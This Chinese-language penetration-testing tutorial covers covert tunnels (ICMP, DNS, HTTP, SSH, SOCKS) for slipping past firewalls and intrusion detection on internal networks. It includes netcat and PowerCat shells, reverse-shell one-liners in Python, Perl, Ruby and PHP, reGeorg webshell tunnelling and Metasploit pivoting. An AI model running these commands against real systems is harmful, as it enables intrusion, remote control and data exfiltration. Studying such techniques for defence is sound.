对于隐藏通信隧道知识及其常用命令的总结(网络层、传输层、应用层)
2023-3-11 08:9:27 Author: 系统安全运维(查看原文) 阅读量:17 收藏

什么是隧道?

这里的隧道,就是一种绕过端口屏蔽的通信方式。举个例子,比如在一个防火墙两端进行数据通信,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,进而通过防火墙,在防火墙两端进行通信,防火墙两端开辟的路径就相当于是一个隧道。

隐藏通信隧道用来干什么?

隐藏通信隧道技术常用于在访问受限的网络环境中或不受信任的网络中实现安全的数据传输。用通俗的话来讲就是在大多数情况下,内网的环境存在多种边界设备以及入侵检测装置的限制,它们会对主机间或者内网与外网之间通信的流量进行检测,如果存在异常就会进行拦截,这无疑给内网渗透增加了难度,而隐藏通信隧道技术就是为了绕过各种边界设备的封锁,从而完成主机间或内网与外网之间的通信。

各层网络常用隧道技术都有哪些?

  • 网络层:IPV6隧道、ICMP隧道、GRE隧道

  • 传输层:TCP隧道、UDP隧道、常规端口转发

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

常规判断内网连通性的方法都有哪些?

1. TCP 协议
用netcat
执行 nc 命令:nc <IP> <端口>
例如:nc -zv 192.168.26.20 80

2. HTTP 协议
用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
例如:curl www.baidu.com:80

3. ICMP 协议
用“ping”命令,执行ping <IP地址/域名>
例如: ping www.baidu.com

4. DNS 协议
检测DNS连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
例如:nslookup www.baidu.com 服务器-ip
dig 服务器-ip www.baidu.com

网络层隧道技术

**IPV6隧道简介:**IPV6隧道是指通过IPV4隧道传送IPV6数据报文的技术,隧道的本质就是数据包的封装。我们把ipv6的数据包封装到ipv4中,以便在ipv4网络中传输,数据包到达目的地后,再把ipv6数据包从ipv4中拆出来,从而达到ipv6内容在ipv4的网络中传播。

支持IPV6隧道的工具:socat、6tunnel、nt6tunnel等

优点:现在的防火墙等安全设备并没有对ipv6流量进行检测的相关规则,我们可以把ipv6内容封装到ipv4中传播,来绕过安全设备的检测。

6tunnel建立IPV6隧道:

地址:https://github.com/wojtekka/6tunnel,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。相关参数可参考官方说明。

搭建隧道

kali中自带,直接使用kali测试,连接的目标是centos,centos需要开启ipv6,示例图如下(以80web服务为例)。

6tunnel不支持多个端口转发,如果有其他服务的端口需要转发,需要再次运行6tunnel,运行后会自动在后台运行。

此时我们在kali中访问本地的80端口,6tunnel会转到centos的80上,从而访问到centos的web服务(以ipv6数据包的形式)。

想要断开该隧道的时候kill掉对应进程即可。

**注意:**6tunnel指定目标ipv6地址时需要指定网卡。

**ICMP隧道简介:**讲TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

支持ICMP隧道的工具:icmpsh、PingTunnel

优点:通常防火墙不会屏蔽ping数据包

icmpsh建立ICMP隧道:

因为icmpsh会替代系统本身ping命令的应答程序,所以需要输入以下命令来关闭本地的ICMP应答

sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
192.168.1.9 #根据提示输入目标机器IP 并按回车

然后在目标机器上执行以下命令即可

icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128    #这里的ip为攻击机的ip

优点:使用简单,运行时不需要管理员权限。

PingTunnel建立ICMP隧道:

应用场景:数据库服务器策略限制web服务器无法直接访问数据库服务器,但是可以通过ping命令访问数据库服务器

github:https://github.com/esrrhs/pingtunnel

ptunnel -x  shuteer      #在web服务器执行
ptunnel -p 192.168.1.4  -lp 1080 -da 1.1.1.10  -dp 3389 -x shuteer     #在服务器执行
#对于以上命令的解释,以web服务器为跳板,监听本地1080端口,并将对数据库服务器的3389端口的请求给到本地的1080端口

然后在服务器本地访问1080端口,就可以发现已经与数据库服务器的3389端口建立了连接

传输层隧道技术

传输层隧道技术包括TCP隧道、UDP隧道、端口转发等

lcx端口转发

netcat的常用命令

nc -nv 192.168.26.137 			 	 	#抓取192.168.26.137 22端口的banner
nc -v 192.168.26.137 80 #扫描指定主机的80端口
nc -v -z 192.168.26.137 20-1024 #扫描指定主机的20-1024端口段
nc -nvv 192.168.26.137 80 #与远程主机建立连接
nc -lp 4444 #监听本地4444端口
#文件传输
nc -lvp 4444 >1.txt #在服务器执行
nc -vn 192.168.26.20 4444 < info.txt -q 3 #在目标机器输入服务器的IP、端口,将本地info.txt传输给服务器,传输完成后三秒断开

正向shell目标机器开启监听 服务器主动连接目标机器

nc -lvp 4444 -e /bin/bash                              #目标机器为linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe #目标机器为windows
nc 192.168.26.137 4444       #在服务器输入目标机器的IP、端口

反向shell目标机器主动连接服务器 服务器开启监听

nc -lvp 4444                #在服务器开启监听4444
nc 192.168.26.20 4444 -e /bin/bash                              #服务器为linux      此处IP为服务器-IP
nc 192.168.26.20 4444 -e c:\windows\system32\cmd.exe #服务器为windows 此处IP为服务器-IP

当目标机器没有nc时

nc -lvp 5555              #监听5555端口
#python反向shell   注意将x.x.x.x改成服务器的IP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#perl反向shell方法一   注意将x.x.x.x改成服务器的IP
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#perl反向shell方法二 注意将x.x.x.x改成服务器的IP
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

#ruby反向shell  注意将x.x.x.x改成服务器的IP
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
#php反向shell  注意将x.x.x.x改成服务器的IP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

PowerCat

**简介:**PowerCat可以说是nc的powershell版

nc正向连接PowerCat

powercat -l -p 8080 -e cmd.exe -v           #win7
nc 192.168.56.130 8080 -vv                  #KaLi

nc反向连接PowerCat

nc -lp 8888 -vv                #KaLi
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe	#win7

powercat传输文件

powercat -l -p 9999 -of newtest.txt -v       #启动监听本地9999端口 并将收到的内容输出到newtest.txt中
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt #将c盘下的test.txt文件发送到10.10.10.129的9999端口

powercat生成正向shell

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

然后讲shell.ps1上传到目标机器并执行,然后在服务器执行以下命令即可获得正向shell

powercat -c 10.10.10.129 -p 8000 -v        #主动连接目标机器

powercat生成反向shell

powercat -l -p 8000  -ep -v -g >> shell.ps1
powercat -l -p 9999 -v

在win7上的Powercat作为跳板实现KaLi与winserver08的通信

powercat -l -v -p 9999 -e cmd.exe            #在winserver08上监听9999端口,并将得到的命令交给cmd处理
powercat -l -v -p 8000  -r tcp::10.10.10.129:9999  #在win7上监听8000端口并且将流量转发给winserver08的9999端口
nc 192.168.56.130 8000 -vv             #在KaLi上,主动连接win7的8000端口

应用层隧道技术

SSH实现本地转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

将 Web服务器192.168.1.11作为跳板,将内网数据库服务器1.1.1.10 的3389端口映射到服务器机器192.168.1.4的1153端口,再访问服务器的1153端口,就可以访问1.1.1.10的3389端口了。在服务器上执行如下命令,

ssh -CfNg -L    1153:1.1.1.10:3389         [email protected]
#解释 (服务器端口)(目标主机)(目标端口) (跳板机)

在服务器上执行以上命令,会要求输入Web服务器(跳板机)的密码,输入web服务器密码后,在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:1153

SSH实现远程转发

应用场景:服务器不可以访问web服务器,web服务器可以访问服务器

目的:以web服务器为跳板,实现服务器访问数据库服务器3389端口

分析:在web服务器上远程调用服务器监听7000端口,所有访问服务器7000端口的数据都将通过SSH隧道转发给数据库服务器的3389端口

在web服务器上执行以下命令

ssh -cfNg -R 3307(服务器端口):1.1.1.10 (目标主机):3389(目标端口)  [email protected]

在服务器执行以下命令即可连接数据库服务器的3389端口

rdesktop 127.0.0.1:3307

SSH实现动态转发

应用场景:服务器可以访问web服务器,web服务器也可以访问服务器

目的:实现在服务器的浏览器中访问域控

ssh -CfNg -D 7000 [email protected]

在服务器上执行以上命令,建立一个动态的SOCKS 4/5代理通道,接下来,在本地打开浏览器,设置网络代理

设置好代理后,即可通过浏览器访问域控。

任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S)隧道

这里使用reGeorg工具来建立HTTP隧道

先将reGeorg工具带的马子上传到web服务器上,并用浏览器访问,然后在KaLi上执行以下命令

python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999

最后需要将proxychains.conf文件中的设置的端口改为9999,然后就可以挂上proxychains来访问一些web服务器并不对外开放的端口,或者进一步的操作。

优点: 大多数防火墙和入侵检测设备都不会过滤DNS流量,很多研究表明DNS隧道在僵尸网络和APT攻击中扮演着重要的角色。

首先检查DNS连通性,看该主机成功解析外网域名

nslookup www.baidu.com

这里用iodine这款工具来搭建DNS隧道,准备一台服务器,然后设置一条DNS的A记录,指向自己的域名,接着设置一条DNS的NS记录指向自己的子域名。设置好DNS解析后就可以开始在服务器上安装该工具的服务端了,使用下面这条命令即可安装。

apt  install  iodine

安装好后使用以下命令运行iodine

iodined -f -c -P 123456   192.168.0.1  test.com  -DD

其中:

  • test.com 是自定义DNS传输的主域名

  • 192.168.0.1 自定义的局域网虚拟IP

  • 123456 自定义密码,客户端需要同样密码才能连接

对于linux客户端机器只需安装iodine客户端即可 命令如下:

iodined -f   -P 123456     test.com  -M 200

Socks代理

SOCKS有两种类型

SOCKS4:只支持TCP类型

SOCKS5:不仅支持TCP/UDP协议,还支持各种身份验证等

这里介绍两个用的比较多的Socks代理工具,一个是应用于linux的SOCKS代理工具Proxychains,另一个是应用于windows的下SOCKS代理工具SocksCap64。

在linux下使用Proxychains实现内网漫游

Proxychains是一款可以在linux下实现全局代理的软件,性能稳定、可靠,该工具在Kali中有集成,使用十分便捷。

**应用场景:**如下图所示我们在kali上已经获得了一个msf会话,然后使用下面这条命令发现内网的其他网段

run get_local_subnets

接着使用下面这条命令添加一条路由

run autoroute -s 192.168.22.0/24

为了接下来可以直接使用kali上的工具对内网中22网段的主机进行渗透,我们就需要建立一个socks隧道

background                  #先把当前会话挂起来
use auxiliary/server/socks4a
show options
set srvhost 192.168.26.20 #kali的ip
exploit

接下来还需要改一下配置文件,改成kali的ip就行了

vim /etc/proxychains.conf

接下来就在各类工具前面加上proxychains即可直接对目标内网进行扫描和渗透。

在windows下使用SocksCap64实现内网漫游

Sockscap64是一款代理客户端软件,可以使Windows网络应用程序来访问网络而不需要对这些应用程序做任何修改。

接着上面的场景继续说,通过proxychains我们可以使用kali上的工具对目标内网进行操作,但是如果此时我们想使用一些windows上的工具对内网进行操作该怎么办呢,这个时候就需要用到SocksCap64这款工具了。假设我们想要使用蚁剑这款工具,我们可以点击代理,然后把kali上的ip和相应的端口添加上去即可。设置完代理后,点击程序把蚁剑添加到这个工具里面,然后如下图所示,右键单击蚁剑图标,然后点击在代理隧道中运行选中程序即可。

参考资料:《内网安全攻防渗透测试实战指南》

本文作者:南城夕雾, 转载请注明来自FreeBuf.COM

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器
欢迎关注 系统安全运维

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247518496&idx=2&sn=35eb5ac17eac838acdff8782bf39f3b4&chksm=c3085a50f47fd34615240c4f83e408bea6fe6caf8af87bad28db3ff9020a50dc755dc4ca0a9e#rd
如有侵权请联系:admin#unsafe.sh